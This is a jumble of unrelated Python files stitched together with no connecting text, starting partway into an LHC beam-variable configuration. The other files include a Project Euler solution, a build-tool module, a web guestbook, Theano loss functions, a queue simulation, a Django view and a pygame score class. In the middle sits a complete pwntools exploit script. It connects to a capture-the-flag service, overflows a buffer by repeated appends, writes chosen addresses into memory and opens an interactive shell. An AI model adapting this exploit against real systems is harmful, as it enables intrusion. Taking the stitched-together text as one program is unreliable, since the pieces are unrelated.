BLM_TCP_B2 = 'BLMTI.06R3.B2E10_TCP.6R3.B2:LOSS_RS09' #can also be B6L7,C6L7,D6L7 ...

#==============================================================================
# Beam lifetime
#    unit : hours
#    type : numeric
#==============================================================================
LIFETIME_B1 = 'LHC.BLM.LIFETIME:B1_BEAM_LIFETIME'
LIFETIME_B2 = 'LHC.BLM.LIFETIME:B2_BEAM_LIFETIME'

BARE_VAR = [TUNE_B1H,TUNE_B1V,TUNE_B2H,TUNE_B2V,
#                CHROMA_B1H,CHROMA_B1V,CHROMA_B2H,CHROMA_B2V,
            CHROMA_MAG_D1_B1,
#           CHROMA_MAG_D2_B1,
            CHROMA_MAG_F1_B1,
#           CHROMA_MAG_F2_B1,
            CHROMA_MAG_D1_B2,
#            CHROMA_MAG_D2_B2,
            CHROMA_MAG_F1_B2,
#            CHROMA_MAG_F2_B2,
#            COUPLING_B1,COUPLING_B2,
#            COUPLING_PHASE_B1,COUPLING_PHASE_B2, #These are just always 0
#            BCT_B1,BCT_B2,
#            POS_H,POS_V,REF_H,REF_V,MSK_H,MSK_V,
#            FILL_SCHEME,
            BUNCH_NUM_B1,BUNCH_NUM_B2,
            OCTU_B1,OCTU_B2,
#            BLM_TCP_B1,BLM_TCP_B2,BLM_TCH_B1,BLM_TCH_B2,
            LIFETIME_B1,LIFETIME_B2
            ]

BARE_BBQ_VAR = [#TUNE_B1H,TUNE_B1V,TUNE_B2H,TUNE_B2V,
                CHROMA_B1H,CHROMA_B1V,CHROMA_B2H,CHROMA_B2V,
            CHROMA_MAG_D1_B1,
#           CHROMA_MAG_D2_B1,
            CHROMA_MAG_F1_B1,
#           CHROMA_MAG_F2_B1,
            CHROMA_MAG_D1_B2,
#            CHROMA_MAG_D2_B2,
            CHROMA_MAG_F1_B2,
#            CHROMA_MAG_F2_B2,
#            COUPLING_B1,COUPLING_B2,
#            COUPLING_PHASE_B1,COUPLING_PHASE_B2, #These are just always 0
#            BCT_B1,BCT_B2,
#            POS_H,POS_V,REF_H,REF_V,MSK_H,MSK_V,
#            FILL_SCHEME,
            BUNCH_NUM_B1,BUNCH_NUM_B2,
            OCTU_B1,OCTU_B2,
#            BLM_TCP_B1,BLM_TCP_B2,BLM_TCH_B1,BLM_TCH_B2,
            LIFETIME_B1,LIFETIME_B2
            ]

ALL_VAR = [TUNE_B1H,TUNE_B1V,TUNE_B2H,TUNE_B2V,
#           TUNE_B1H_BBQ,TUNE_B1V_BBQ,TUNE_B2H_BBQ,TUNE_B2V_BBQ,
           CHROMA_B1H,CHROMA_B1V,CHROMA_B2H,CHROMA_B2V,
           CHROMA_MAG_D1_B1,
#           CHROMA_MAG_D2_B1,
           CHROMA_MAG_F1_B1,
#           CHROMA_MAG_F2_B1,
           CHROMA_MAG_D1_B2,
#           CHROMA_MAG_D2_B2,
           CHROMA_MAG_F1_B2,
#           CHROMA_MAG_F2_B2,
#           COUPLING_B1,COUPLING_B2,
#           COUPLING_PHASE_B1,COUPLING_PHASE_B2, #These are just always 0
           BCT_B1,BCT_B2,
#           POS_H,POS_V,REF_H,REF_V,MSK_H,MSK_V,
#           FILL_SCHEME,
           BUNCH_NUM_B1,BUNCH_NUM_B2,
           OCTU_B1,OCTU_B2,
           BLM_TCP_B1,BLM_TCP_B2,BLM_TCH_B1,BLM_TCH_B2,
           LIFETIME_B1,LIFETIME_B2,
           S12_HL,S23_HL,S34_HL,S45_HL,S56_HL,S67_HL,S78_HL,S81_HL
           ]

ALL_BBQ_VAR = [#TUNE_B1H,TUNE_B1V,TUNE_B2H,TUNE_B2V,
           TUNE_B1H_BBQ,TUNE_B1V_BBQ,TUNE_B2H_BBQ,TUNE_B2V_BBQ,
           CHROMA_B1H,CHROMA_B1V,CHROMA_B2H,CHROMA_B2V,
           CHROMA_MAG_D1_B1,
#           CHROMA_MAG_D2_B1,
           CHROMA_MAG_F1_B1,
#           CHROMA_MAG_F2_B1,
           CHROMA_MAG_D1_B2,
#           CHROMA_MAG_D2_B2,
           CHROMA_MAG_F1_B2,
#           CHROMA_MAG_F2_B2,
#           COUPLING_B1,COUPLING_B2,
#           COUPLING_PHASE_B1,COUPLING_PHASE_B2, #These are just always 0
           BCT_B1,BCT_B2,
#           POS_H,POS_V,REF_H,REF_V,MSK_H,MSK_V,
#           FILL_SCHEME,
           BUNCH_NUM_B1,BUNCH_NUM_B2,
           OCTU_B1,OCTU_B2,
           BLM_TCP_B1,BLM_TCP_B2,BLM_TCH_B1,BLM_TCH_B2,
           LIFETIME_B1,LIFETIME_B2,
           S12_HL,S23_HL,S34_HL,S45_HL,S56_HL,S67_HL,S78_HL,S81_HL
           ]

ALL_BBQHS_VAR = [#TUNE_B1H,TUNE_B1V,TUNE_B2H,TUNE_B2V,
           TUNE_B1H_BBQHS,TUNE_B1V_BBQHS,TUNE_B2H_BBQHS,TUNE_B2V_BBQHS,
           CHROMA_B1H,CHROMA_B1V,CHROMA_B2H,CHROMA_B2V,
           CHROMA_MAG_D1_B1,
#           CHROMA_MAG_D2_B1,
           CHROMA_MAG_F1_B1,
#           CHROMA_MAG_F2_B1,
           CHROMA_MAG_D1_B2,
#           CHROMA_MAG_D2_B2,
           CHROMA_MAG_F1_B2,
#           CHROMA_MAG_F2_B2,
#           COUPLING_B1,COUPLING_B2,
#           COUPLING_PHASE_B1,COUPLING_PHASE_B2, #These are just always 0
           BCT_B1,BCT_B2,
#           POS_H,POS_V,REF_H,REF_V,MSK_H,MSK_V,
#           FILL_SCHEME,
           BUNCH_NUM_B1,BUNCH_NUM_B2,
           OCTU_B1,OCTU_B2,
           BLM_TCP_B1,BLM_TCP_B2,BLM_TCH_B1,BLM_TCH_B2,
           LIFETIME_B1,LIFETIME_B2,
           S12_HL,S23_HL,S34_HL,S45_HL,S56_HL,S67_HL,S78_HL,S81_HL
           ]

EMIT_COLUMNS = ["B1_emith_avg","B1_emitv_avg","B2_emith_avg","B2_emitv_avg"]
POS_COLUMNS = ["Mean_pos_H_B1", "Mean_pos_H_B2", "Mean_pos_V_B1", "Mean_pos_V_B2"]


##The divisors of 6 are 1,2,3 and 6.
##The sum of the squares of these numbers is 1+4+9+36=50.
##
##Let sigma2(n) represent the sum of the squares of the divisors of n.
##Thus sigma2(6)=50.
##
##Let SIGMA2 represent the summatory function of sigma2, that is
##SIGMA2(n)=∑sigma2(i) for i=1 to n.
##The first 6 values of SIGMA2 are: 1,6,16,37,63 and 113.
##Find SIGMA2(10^15) modulo 10^9.

from time import time
import sys
sys.path.append("../Library")
from peresult import peresult

def solve(n):
    start = time()
    result = 0
    for i in range(1, int(n ** .5) + 1):
        cap = n // i
        result += (cap * (cap + 1) * (2 * cap + 1)) // 6
        result %= 10 ** 9
        largestI = i
    i = 1
    while n // i > largestI:
        result += i ** 2 * (n // i - largestI)
        result %= 10 ** 9
        i += 1
    peresult(401, result, time() - start)

if __name__ == "__main__":
    solve(10 ** 15)


import os
import copy
import distutils

from yaku.task_manager \
    import \
        create_tasks, topo_sort, build_dag, \
        CompiledTaskGen, set_extension_hook
from yaku.sysconfig \
    import \
        get_configuration
from yaku.compiled_fun \
    import \
        compile_fun
from yaku.task \
    import \
        Task
from yaku.utils \
    import \
        ensure_dir
# FIXME: should be done dynamically
from yaku.tools.gcc \
    import \
        detect as gcc_detect
from yaku.conftests \
    import \
        check_compiler, check_header

pylink, pylink_vars = compile_fun("pylink", "${PYEXT_SHLINK} ${PYEXT_SHLINKFLAGS} ${PYEXT_APP_LIBDIR} ${PYEXT_APP_LIBS} -o ${TGT[0]} ${SRC}", False)

pycc, pycc_vars = compile_fun("pycc", "${PYEXT_SHCC} ${PYEXT_CCSHARED} ${PYEXT_CFLAGS} ${PYEXT_INCPATH} -o ${TGT[0]} -c ${SRC}", False)

_SYS_TO_PYENV = {
        "PYEXT_SHCC": "CC",
        "PYEXT_CCSHARED": "CCSHARED",
        "PYEXT_SHLINK": "LDSHARED",
        "PYEXT_SO": "SO",
        "PYEXT_CFLAGS": "CFLAGS",
        "PYEXT_OPT": "OPT",
        "PYEXT_LIBS": "LIBS",
        "PYEXT_INCPATH_FMT": "INCPATH_FMT",
}

def get_pyenv():
    sysenv = get_configuration()
    pyenv = {}
    for i, j in _SYS_TO_PYENV.items():
        pyenv[i] = sysenv[j]
    pyenv["PYEXT_CPPPATH"] = [distutils.sysconfig.get_python_inc()]
    pyenv["PYEXT_SHLINKFLAGS"] = []
    return pyenv

def pycc_hook(self, node):
    tasks = pycc_task(self, node)
    self.object_tasks.extend(tasks)
    return tasks

def pycc_task(self, node):
    base = os.path.splitext(node)[0]
    # XXX: hack to avoid creating build/build/... when source is
    # generated. Dealing with this most likely requires a node concept
    if not os.path.commonprefix([self.env["BLDDIR"], base]):
        target = os.path.join(self.env["BLDDIR"], base + ".o")
    else:
        target = base + ".o"
    ensure_dir(target)
    task = Task("pycc", inputs=node, outputs=target)
    task.env_vars = pycc_vars
    task.env = self.env
    task.func = pycc
    return [task]

def pylink_task(self, name):
    objects = [tsk.outputs[0] for tsk in self.object_tasks]
    target = os.path.join(self.env["BLDDIR"], name + ".so")
    ensure_dir(target)
    task = Task("pylink", inputs=objects, outputs=target)
    task.func = pylink
    task.env_vars = pylink_vars
    return [task]

class PythonBuilder(object):
    def __init__(self, ctx):
        self.ctx = ctx
        self.env = copy.deepcopy(ctx.env)

    def extension(self, name, sources, env=None):
        _env = copy.deepcopy(self.env)
        if env is not None:
            _env.update(env)
        return create_pyext(self.ctx, _env, name, sources)

def get_builder(ctx):
    return PythonBuilder(ctx)

def configure(ctx):
    gcc_detect(ctx)
    check_compiler(ctx)

    ctx.env.update(get_pyenv())

def create_pyext(bld, env, name, sources):
    base = name.replace(".", os.sep)

    tasks = []

    task_gen = CompiledTaskGen("pyext", sources, name)
    old_hook = set_extension_hook(".c", pycc_hook)

    task_gen.env = env
    apply_cpppath(task_gen)
    apply_libpath(task_gen)
    apply_libs(task_gen)

    tasks = create_tasks(task_gen, sources)

    ltask = pylink_task(task_gen, base)
    tasks.extend(ltask)
    for t in tasks:
        t.env = task_gen.env

    set_extension_hook(".c", old_hook)
    bld.tasks.extend(tasks)

    outputs = []
    for t in ltask:
        outputs.extend(t.outputs)
    return outputs

# FIXME: find a way to reuse this kind of code between tools
def apply_libs(task_gen):
    libs = task_gen.env["LIBS"]
    task_gen.env["PYEXT_APP_LIBS"] = [
            task_gen.env["LIBS_FMT"] % lib for lib in libs]

def apply_libpath(task_gen):
    libdir = task_gen.env["LIBDIR"]
    implicit_paths = set([
        os.path.join(task_gen.env["BLDDIR"], os.path.dirname(s))
        for s in task_gen.sources])
    libdir = list(implicit_paths) + libdir
    task_gen.env["PYEXT_APP_LIBDIR"] = [
            task_gen.env["LIBDIR_FMT"] % d for d in libdir]

def apply_cpppath(task_gen):
    cpppaths = task_gen.env["CPPPATH"]
    cpppaths.extend(task_gen.env["PYEXT_CPPPATH"])
    implicit_paths = set([
        os.path.join(task_gen.env["BLDDIR"], os.path.dirname(s))
        for s in task_gen.sources])
    cpppaths = list(implicit_paths) + cpppaths
    task_gen.env["PYEXT_INCPATH"] = [
            task_gen.env["PYEXT_INCPATH_FMT"] % p
            for p in cpppaths]


import webapp2			#Our web application framework
import os						#To Fetch filename of Template directory
import jinja2 			#To Render HTML Easily. Template API

from google.appengine.ext import ndb 		#Importing the datastore API

#Setup Jinja2
template_dir = os.path.join(os.path.dirname(__file__),'templates')
jinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),autoescape = True)

class Handler(webapp2.RequestHandler):
	def write(self, *a, **kw):
		self.response.write(*a,**kw)

	def render_str(self, template, **params):
		t = jinja_env.get_template(template)
		return t.render(params)

	def render(self, template, **kw):
		self.write(self.render_str(template, **kw))

#Create table.
class Thoughts(ndb.Model):
	name = ndb.StringProperty()
	thought = ndb.TextProperty(required = True)
	created = ndb.DateTimeProperty(auto_now_add = True)

#Home page
class MainPage(Handler):
	def get(self):
		self.render("home.html")
		#Query the database
		posts = ndb.gql("SELECT * FROM Thoughts ORDER BY created DESC")
		for post in posts:
			self.render("post.html", name=post.name,
														   thoughts=post.thought)
			#self.write("Key = %s" %post.key)

	#Invoked when form is submitted.
	def post(self):
		self.response.headers['Content-Type'] = 'text/html'
		username = self.request.get("name")
		text = self.request.get("thoughts")

		#Insert the thought in our entity (table)
		entry = Thoughts(name = username, thought = text)
		entry.put()

		#Query the database
		posts = ndb.gql("SELECT * FROM Thoughts ORDER BY created DESC")
		for post in posts:
			self.render("post.html", name=post.name,
														 thoughts=post.thought)

#Page used to edit/compose a thought
class EditPage(Handler):
	#Gets invoked upon opening the /edit page.
	def get(self):
		self.response.headers['Content-Type'] = 'text/html'
		self.render("edit.html")
		#self.response.write(self.request)

application = webapp2.WSGIApplication([('/',MainPage),
																			 ('/edit/',EditPage)
																			], debug = True)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './challenge'
elf = ELF(binary)
libc = elf.libc

# io = process(binary, aslr = 0)
io = remote('svc.pwnable.xyz', 30022)
context.log_level = 'debug'
context.arch = elf.arch

myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000

def menu(idx):
    io.recvuntil('> ')
    io.sendline(str(idx))

def long_append():
    menu(2)
    io.recvuntil("Give me ")
    sz = int(io.recvuntil(" chars", drop = True))
    io.send(p64(0x400b2d)[:3] + 'a' * (sz - 3))
    return sz

def short_append(now, limit):
    menu(1)
    io.recvuntil("Give me ")
    sz = int(io.recvuntil(" chars", drop = True))
    if sz + now >= limit:
        io.send((limit - now) * 'a')
    else:
        io.send('a' * sz)
    return sz

count = long_append()
while count <= 1024:
    tmp = short_append(count, 1024)
    count += tmp
    print(count)

menu(1)
io.recvuntil(":")
io.send(p64(0x6020a0))

menu(4)
io.recvuntil("?")
io.sendline('3')

io.interactive()


__author__ = 'harri'

import lasagne
import theano

class Costs(object):

    def __init__(self, model):
        self.model = model

    def mse(self):

        X = theano.tensor.matrix("X")
        y = self.model.y
        y_hat = self.model.get_output()
        mse = theano.tensor.mean((y-y_hat)**2)

        return mse

    def log_loss(self):
        y = self.model.y
        y_hat = self.model.get_output()
        loss_vec = y*theano.tensor.log(y_hat) + (1-y)*theano.tensor.log(1-y_hat)
        loss_vec *= -1
        loss = theano.tensor.mean(loss_vec)
        return loss

    def accuracy(self):
        y = self.model.y
        y_hat = self.model.get_output()
        hard_pred = theano.tensor.ge(y_hat, 0.5)
        loss_vec = theano.tensor.eq(hard_pred, y)

        loss = theano.tensor.mean(loss_vec)
        return loss


import random
from pythonds.basic.queue import Queue

class Printer:

	def __init__(self, ppm):
		self.pagerate = ppm
		self.current_task = None
		self.time_remaining = 0

	# internal countdown timer
	def tick(self):
		if self.current_task != None:
			self.time_remaining = self.time_remaining -1
			if self.time_remaining <= 0:
				self.current_task = None

	# is printer busy
	def busy(self):
		if self.current_task != None:
			return True
		else:
			return False

	# start next task
	def startNext(self, new_task):
		self.current_task = new_task
		self.time_remaining = new_task.getPages() * 60/self.pagerate

class Task:

	def __init__(self, time):
		self.timestamp = time
		self.pages = random.randrange(1,21)

	def gerStamp(self):
		return self.timestamp

	def getPages(self):
		return self.pages

	def waitTime(self,current_time):
		return current_time - self.timestamp

def simulation(num_seconds, pages_per_minute):

	labprinter = Printer(pages_per_minute)
	print_queue = Queue()
	waiting_times = []

	for current_second in range(num_seconds):

		# check if new task is generated
		if new_print_task():
			task = Task(current_second)
			print_queue.enqueue(task)

		# feed queue to printer
		if (not labprinter.busy()) and (not print_queue.isEmpty()):
			nexttask = print_queue.deque()
			waiting_times.append(nexttask.waitTime(current_second))
			labprinter.startNext(nexttask)

		labprinter.tick()

	average_wait = sum(waiting_times)/len(waiting_times)
	print("The average wait time is %f" % average_wait	)

def new_print_task():
    num = random.randrange(1,181)
    if num == 180:
        return True
    else:
        return False

simulation(3600,10)


from app1.models import *
from app1.util.utils import *

def retriveCourses(request):
    '''
    http://127.0.0.1:8000/app5/retriveCourses?tpno=101
    '''
    try:
        teachPlan = request.GET.get('tpno')
        resultPlanCourse = TeachPlan.objects.all().values("course__cno","course__cname","teacher__tno",).filter(tpno=teachPlan)
        return showJsonresult(resultPlanCourse)
        # result=TeachPlan.objects.values().get(tpno=teachPlan)
        # response={}
        # response['msg']='good job'
        # response['err_num']=0
        # response['data']=result
        # return JsonResponse(response, safe=False)
        # teachPlanpiont = TeachPlan(tpno=teachPlan)
        # result=Course.objects.all().filter(teachplan__teach_date__gte="2010-01-01").values()
        # resultTeachPlanCourse=Inventory.objects.all().filter(teachPlan__tpno=teachPlan).values()
        # result =Course.objects.all().filter(teacher__tno__isnull=False).filter(teachplan__teach_date__gte="2020-01-01").values("cno","cname","teacher__tno","teacher__tname","teachplan__credit")
        # resultPlanCourse=TeachPlan.objects.all().values().filter(tpno=teachPlan)
        # return showJsonresult(result)
    except Exception as e:
        response = {}
        response['msg'] = str(e)
        response['err_num'] = 1
        return showJsonerror(response)


import json
import csv

country = 'col'

en_file = './en-{}/translations.js'.format(country)
es_file = './es-{}/translations.js'.format(country)

translation_csv = 'translation-{}.csv'.format(country)

def traverse(d, sep='.', _prefix=''):
    assert isinstance(d, dict)
    for k, v in d.items():
        if isinstance(v, dict):
            yield from traverse(v, sep, "{0}{1}{2}".format(_prefix, k, sep))
        else:
            yield ("{0}{1}".format(_prefix, k), v)

def flatten(d):
    return dict(traverse(d))

fieldnames = ['copy_key', 'english', 'spanish']

def read_from_csv(import_csv):
    translations= []
    spanish = {}
    english = {}

    with open(import_csv, 'r') as csvfile:
        reader = csv.DictReader(csvfile)
        for row in reader:
            translations.append(row)

    for row in translations:
        spanish[row['copy_key']] = row['spanish']
        english[row['copy_key']] = row['english']

    with open(es_file, 'w') as file:
        file.write("export default ")
        file.write(json.dumps(spanish, indent=2, sort_keys=True))
        file.write(";")
    with open(en_file, 'w') as file:
        file.write("export default ")
        file.write(json.dumps(english, indent=2, sort_keys=True))
        file.write(";")

read_from_csv(translation_csv)


import pygame

from game.utils import only_text_sprite

# Score Class

class Score:
    def __init__(self, coords):
        self.coords = coords
        self.load_numbers()
        self.score = 0

    def set_score(self, score):
        self.score = score

    def increase_score(self):
        self.score += 1

    def decrease_score(self):
        self.score -= 1

    def load_numbers(self):
        self.numbers = []
        font = pygame.font.SysFont("Arial", 50)
        for i in range(0, 10):
            num = only_text_sprite(str(i), (0, 0, 0), self.coords, font)

            number = pygame.sprite.GroupSingle(num)
            self.numbers.append(number)

    def draw(self, screen):
        num1 = self.score // 100
        num2 = self.score % 100 // 10
        num3 = self.score % 10

        self.numbers[num1].sprite.rect.left = self.coords[0]
        self.numbers[num1].draw(screen)
        self.numbers[num2].sprite.rect.left = self.coords[0] + 35
        self.numbers[num2].draw(screen)
        self.numbers[num3].sprite.rect.left = self.coords[0] + 70
        self.numbers[num3].draw(screen)